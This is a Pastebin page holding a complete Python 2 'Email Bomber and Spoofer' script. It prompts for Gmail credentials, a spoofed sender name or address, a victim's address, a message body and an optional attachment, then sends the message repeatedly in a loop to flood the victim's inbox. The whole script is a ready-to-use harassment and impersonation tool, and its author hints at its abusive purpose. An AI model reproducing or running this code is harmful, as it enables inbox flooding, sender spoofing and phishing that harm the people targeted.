Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import getpass
- import re
- import sys
- try:
- import yagmail
- except ImportError as e:
- print
- print "You Need to install yagmail module in order to use the tool."
- print
- print """Run 'pip install yagmail' in terminal/cmd."""
- print
- print "In windows:"
- print "Run CMD with Administrator Priv and type"
- print "'pip install yagmail' (without the quotes) + Enter."
- print
- print "In Linux:"
- print """Run Terminal and type "sudo pip install yagmail" (without the quotes) + Enter. """
- sys.exit()
- print " ________ ____ ____ _ _____ _____ "
- print " |_ __ |_ \ / _| / \ |_ _|_ _| "
- print " | |_ \_| | \/ | / _ \ | | | | "
- print " | _| _ | |\ /| | / ___ \ | | | | _ "
- print " _| |__/ |_| |_\/_| |_ _/ / \ \_ _| |_ _| |__/ | "
- print " _________|_____|______|_____ ________________________ "
- print " |_ _ \ .' `|_ \ / _|_ _ \|_ __ |_ __ \ "
- print " | |_) |/ .-. \| \/ | | |_) | | |_ \_| | |__) | "
- print " | __'.| | | || |\ /| | | __'. | _| _ | __ / "
- print " _| |__) \ `-' _| |_\/_| |_ _| |__) _| |__/ |_| | \ \_ "
- print " |_______/ `.___.|_____________________________|____| |___| "
- print " / \ |_ \|_ _|_ _ `. "
- print " / _ \ | \ | | | | `. \ "
- print " / ___ \ | |\ \| | | | | | "
- print " _/ / \ \_ _| |_\ |_ _| |_.' / "
- print " ______ |_________________|\____|________ ________ _______ "
- print ".' ____ \|_ __ \ .' `. .' `|_ __ |_ __ |_ __ \ "
- print "| (___ \_| | |__) / .-. / .-. \| |_ \_| | |_ \_| | |__) | "
- print " _.____`. | ___/| | | | | | || _| | _| _ | __ / "
- print "| \____) |_| |_ \ `-' \ `-' _| |_ _| |__/ |_| | \ \_ "
- print " \______.|_____| `.___.' `.___.|_____| |________|____| |___|"
- print " "
- print " Version 1.0 By michypc@HF | Allows HTML and Attachments."
- print " No Email support. Guess why..."
- print
- user = raw_input('Your Gmail Username:\n')
- print
- passwd = getpass.getpass('Password:\n')
- print
- spoof = raw_input('Spoofed email address(Can also use a name and email address):\n')
- print
- spoof = re.sub(r'(@)', r'"@"', spoof)
- to = raw_input('Victims Email address:\n')
- print
- subject = raw_input('Subject of the email:\n')
- print
- print 'Enter body of the email. (When done - Linux Ctrl+D, Windows Ctrl+Z then Enter)'
- body = sys.stdin.read()
- print '\n'
- att = raw_input('Path to Attachment(Press Enter if no attachment):\n')
- print
- total = input('Number of Emails to send:\n')
- for i in range(1, total+1):
- if len(att)>0:
- yag=yagmail.SMTP({user:spoof}, passwd)
- yag.send(to, subject, body, att)
- elif len(att)==0:
- yag=yagmail.SMTP({user:spoof}, passwd)
- yag.send(to, subject, body)
- print
- print '\rTotal emails sent: %i' % i
- sys.stdout.flush()
- sys.exit()
Add Comment
Please, Sign In to add comment